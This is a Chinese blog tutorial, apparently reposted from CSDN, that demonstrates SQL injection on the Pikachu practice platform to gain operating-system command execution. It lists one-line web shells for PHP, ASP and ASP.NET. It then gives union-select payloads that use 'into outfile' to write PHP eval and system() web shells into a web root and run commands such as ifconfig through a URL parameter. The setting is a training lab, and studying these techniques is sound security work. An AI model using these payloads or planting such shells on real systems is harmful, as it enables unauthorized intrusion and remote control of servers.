基于Pikachu测试平台的SQL注入-OS远程控制

一句话木马

是一种短小而精悍的木马客户端,利用我们各种语言里面提供的用来执行代码的函数,或者说用来执行操作系统命令的函数,来构造一个简单的木马程序,也就是说我们可以把这个函数直接写到文件里面去,通过对这个文件的访问去执行这个函数,向这个函数里面去传入我们想要的对应的操作,因为这个函数本身就是用来执行操作系统命令的,有些内容就会被作为远程控制的操作去执行。隐蔽性好,且功能强大
PHP:<?php @eval($_POST['chopper']);?>
ASP:<%eval request(“chopper”)%>
ASP.NET:<%@ Page Language=“Jscript”%><%eval(Request.Item[“chopper”],“unsafe”);%>

通过SQL注入漏洞,写入恶意代码
select 1,2 into outfile “/var/www/html/1.txt”
into outfile将select的结果写入到指定目录的1.txt中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
前提条件:
1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启了secure_file_priv(mysql新版本特性,默认关闭,是没法使用into outfile写东西的)

在数据库里看一下
show global variables like ‘%secure%’;
我们可以看到,secure_file_priv默认是none我们要把它改成空,需要修改my.cnf文件,把secure_file_priv=null加进去,然后重启数据库服务
然后还有/var/www/html这个目录我们需要写的权限
然后我们构造payload
k’ union select “<?php @eval($_GET['test'])?>”,2 into outfile “/var/www/html/1.php”#
然后点提交,我们前端其实是看不到什么回显的
然后我们切到服务端,看看这个文件有没有被写入进去

k’ union select “<?php system($_GET['cmd'])?>”,2 into outfile “/var/www/html/2.php”#
system是php下面用来执行操作系统命令的函数,我们可以通过GET往里面传参
然后我们访问IP/2.php?cmd=ifconfig发现他会把网卡信息传过来

发布了13 篇原创文章 · 获赞 1 · 访问量 252

猜你喜欢

转载自blog.csdn.net/qq_43499389/article/details/104970500